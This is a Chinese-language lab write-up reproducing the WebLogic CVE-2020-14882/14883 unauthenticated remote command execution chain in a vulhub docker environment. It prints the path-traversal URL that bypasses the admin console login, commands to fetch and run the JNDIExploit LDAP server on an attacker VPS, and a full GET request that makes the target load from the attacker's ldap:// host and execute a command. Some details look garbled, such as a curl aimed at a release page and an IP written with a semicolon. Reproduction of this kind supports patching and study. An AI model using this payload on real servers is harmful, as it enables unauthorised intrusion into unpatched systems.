Weblogic 管理控制台未授权远程命令执行

漏洞描述

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响范围

• WebLogic Server 10.3.6.0.0
• WebLogic Server 12.1.3.0.0
• WebLogic Server12.2.1.3.0
• WebLogic Server 12.2.1.4.0
• WebLogic Server 14.1.1.0.0

实验环境搭建

在Ubuntu上安装了docker，并将vulhub master下载到虚拟机中，执行以下命令启动Weblogic 12.2.1.3版本的服务器

cd /Desktop/vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

启动完成后，访问http://your-ip:7001/console即可查看到后台登录页面。

漏洞复现

首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

启动LDAP

curl https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11
unzip JNDIExploit.v1.11.zip
java -jar JNDIExploit.v1.11.jar -i ip(是可访问到的VPSip)

配合WebLogic未授权漏洞，远程进行代码执行

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.189;128:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.189.134:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
cmd: whoami
Cookie: ADMINCONSOLESESSION=gfVHIwtwCTKpzZ3td7NhndHlmqCXVJw04t0sux8OZmgy7RQdNbSN!-627419742;
Connection: close

此处注意VPS的ip加了分号（这里是不是绕过？）

成功执行命令，之前试了很多次都没成功